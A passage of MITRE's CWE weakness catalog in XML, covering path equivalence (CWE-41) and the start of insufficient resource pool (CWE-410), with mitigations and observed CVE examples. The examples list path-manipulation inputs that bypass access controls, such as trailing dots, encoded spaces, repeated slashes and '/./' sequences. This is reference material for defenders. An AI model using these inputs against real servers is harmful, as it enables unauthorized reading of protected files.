					          <Mapped_Node_Name>Limit the size of files passed to
						ZipInputStream</Mapped_Node_Name>
					          <Mapped_Node_ID>IDS04-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Data
						Amplification</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Handle Highly
						Compressed Data (Data Amplification)</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="41" Name="Improper Resolution of Path Equivalence" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The system or application is vulnerable to file system contents
					disclosure through path equivalence. Path equivalence involves the use of
					special characters in file and directory names. The associated manipulations are
					intended to generate multiple names for the same object.</Description_Summary>
				        <Extended_Description>
					          <Text>Path equivalence is usually employed in order to circumvent access
						controls expressed using an incomplete set of file name or file path
						representations. This is different from path traversal, wherein the
						manipulations are performed to generate a name for a different
						object.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>706</Relationship_Target_ID>
					          <!--Use of Incorrectly-Resolved Name or Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>21</Relationship_Target_ID>
					          <!--Pathname Traversal and Equivalence Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Some of these manipulations could be effective in path traversal issues,
						too.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker may be able to traverse the file system to unintended
							locations and read or overwrite the contents of unexpected files. If the
							files are used for a security mechanism than an attacker may be able to
							bypass the mechanism.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-30">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1114</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure using trailing
						dot</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1986,</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure using trailing
						dot</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2213</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure using trailing dot or
						trailing encoding space "%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3293</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure using trailing
						dot</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0061</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass directory access restrictions using
						trailing dot in URL</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1133</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass directory access restrictions using
						trailing dot in URL</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1386</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass check for ".lnk" extension using
						".lnk."</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0693</Observed_Example_Reference>
					          <Observed_Example_Description>Source disclosure via trailing encoded space
						"%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0778</Observed_Example_Reference>
					          <Observed_Example_Description>Source disclosure via trailing encoded space
						"%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1248</Observed_Example_Reference>
					          <Observed_Example_Description>Source disclosure via trailing encoded space
						"%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0280</Observed_Example_Reference>
					          <Observed_Example_Description>Source disclosure via trailing encoded space
						"%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0622</Observed_Example_Reference>
					          <Observed_Example_Description>Source disclosure via trailing encoded space
						"%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1656</Observed_Example_Reference>
					          <Observed_Example_Description>Source disclosure via trailing encoded space
						"%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1603</Observed_Example_Reference>
					          <Observed_Example_Description>Source disclosure via trailing encoded space
						"%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0054</Observed_Example_Reference>
					          <Observed_Example_Description>Multi-Factor Vulnerability (MVF). directory
						traversal and other issues in FTP server using Web encodings such as "%20";
						certain manipulations have unusual side
						effects.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1451</Observed_Example_Reference>
					          <Observed_Example_Description>Trailing space ("+" in query string) leads to
						source code disclosure.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0293</Observed_Example_Reference>
					          <Observed_Example_Description>Filenames with spaces allow arbitrary file
						deletion when the product does not properly quote them; some overlap with
						path traversal.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1567</Observed_Example_Reference>
					          <Observed_Example_Description>"+" characters in query string converted to spaces
						before sensitive file/extension (internal space), leading to bypass of
						access restrictions to the file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0253</Observed_Example_Reference>
					          <Observed_Example_Description>Overlaps infoleak</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0446</Observed_Example_Reference>
					          <Observed_Example_Description> Application server allows remote attackers to
						read source code for .jsp files by appending a / to the requested URL.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0334</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass Basic Authentication for files using
						trailing "/"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0893</Observed_Example_Reference>
					          <Observed_Example_Description>Read sensitive files with trailing
						"/"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0892</Observed_Example_Reference>
					          <Observed_Example_Description>Web server allows remote attackers to view
						sensitive files under the document root (such as .htpasswd) via a GET
						request with a trailing /. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1814</Observed_Example_Reference>
					          <Observed_Example_Description>Directory traversal vulnerability in server allows
						remote attackers to read protected files via .. (dot dot) sequences in an
						HTTP request. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>BID:3518</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure </Observed_Example_Description>
					          <Observed_Example_Link>http://www.securityfocus.com/bid/3518</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1483</Observed_Example_Reference>
					          <Observed_Example_Description>Read files with full pathname using multiple
						internal slash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1456</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to read arbitrary
						files via a GET request with more than one leading / (slash) character in
						the filename. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0578</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to read arbitrary
						files via leading slash (//) characters in a URL request.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0275</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to bypass
						authentication and read restricted files via an extra / (slash) in the
						requested URL. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1032</Observed_Example_Reference>
					          <Observed_Example_Description> Product allows local users to delete arbitrary
						files or create arbitrary empty files via a target filename with a large
						number of leading slash (/) characters. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1238</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to bypass access
						restrictions for files via an HTTP request with a sequence of multiple /
						(slash) characters such as http://www.example.com///file/.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1878</Observed_Example_Reference>
					          <Observed_Example_Description> Product allows remote attackers to bypass
						authentication, obtain sensitive information, or gain access via a direct
						request to admin/user.pl preceded by // (double leading slash).
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1365</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to execute
						arbitrary commands via a URL with multiple leading "/" (slash) characters
						and ".." sequences. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1050</Observed_Example_Reference>
					          <Observed_Example_Description>Access directory using multiple leading
						slash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1072</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass access restrictions via multiple leading
						slash, which causes a regular expression to
						fail.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0235</Observed_Example_Reference>
					          <Observed_Example_Description>Archive extracts to arbitrary files using multiple
						leading slash in filenames in the archive.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1078</Observed_Example_Reference>
					          <Observed_Example_Description>Directory listings in web server using multiple
						trailing slash</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0847</Observed_Example_Reference>
					          <Observed_Example_Description> ASP.NET allows remote attackers to bypass
						authentication for .aspx files in restricted directories via a request
						containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash), aka "Path
						Validation Vulnerability." </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0004</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to read source
						code for executable files by inserting a . (dot) into the URL.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0304</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to read
						password-protected files via a /./ in the HTTP request.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>BID:6042</Observed_Example_Reference>
					          <Observed_Example_Description>Input Validation
						error</Observed_Example_Description>
					          <Observed_Example_Link>http://www.securityfocus.com/bid/6042</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1083</Observed_Example_Reference>
					          <Observed_Example_Description>Possibly (could be a cleansing
						error)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0815</Observed_Example_Reference>
					          <Observed_Example_Description>"/./////etc" cleansed to ".///etc" then
						"/etc"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0112</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to view password
						protected files via /./ in the URL. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0696</Observed_Example_Reference>
					          <Observed_Example_Description>List directories using desired path and
						"*"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0433</Observed_Example_Reference>
					          <Observed_Example_Description>List files in web server using
						"*.ext"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1152</Observed_Example_Reference>
					          <Observed_Example_Description> Proxy allows remote attackers to bypass blacklist
						restrictions and connect to unauthorized web servers by modifying the
						requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the
						desired file is in the parentdir, (3) a /./, or (4) URL-encoded characters.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0191</Observed_Example_Reference>
					          <Observed_Example_Description>application check access for restricted URL before
						canonicalization</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1366</Observed_Example_Reference>
					          <Observed_Example_Description>CGI source disclosure using
						"dirname/../cgi-bin"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0012</Observed_Example_Reference>
					          <Observed_Example_Description>Multiple web servers allow restriction bypass
						using 8.3 names instead of long names</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0795</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure using 8.3 file
						name.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0471</Observed_Example_Reference>
					          <Observed_Example_Description>Multi-Factor Vulnerability. Product generates
						temporary filenames using long filenames, which become predictable in 8.3
						format.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Path Equivalence</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Canonicalize path names originating from untrusted
						sources</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO02-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Canonicalize path names originating from untrusted
						sources</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>3</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>4</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes, Potential_Mitigations,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path
						Equivalence</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Resolve Path
						Equivalence</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="410" Name="Insufficient Resource Pool" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software's resource pool is not large enough to handle peak
					demand, which allows an attacker to prevent others from accessing the resource
					by using a (relatively) large number of requests for
					resources.</Description_Summary>
				        <Extended_Description>
					          <Text>Frequently the consequence is a "flood" of connection or sessions.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>730</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A9 - Denial of Service-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>400</Relationship_Target_ID>
					          <!--Uncontrolled Resource Consumption ('Resource Exhaustion')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>855</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 10 - Thread Pools (TPS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>"Large" is relative to the size of the resource pool, which could be very
						small. See examples.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
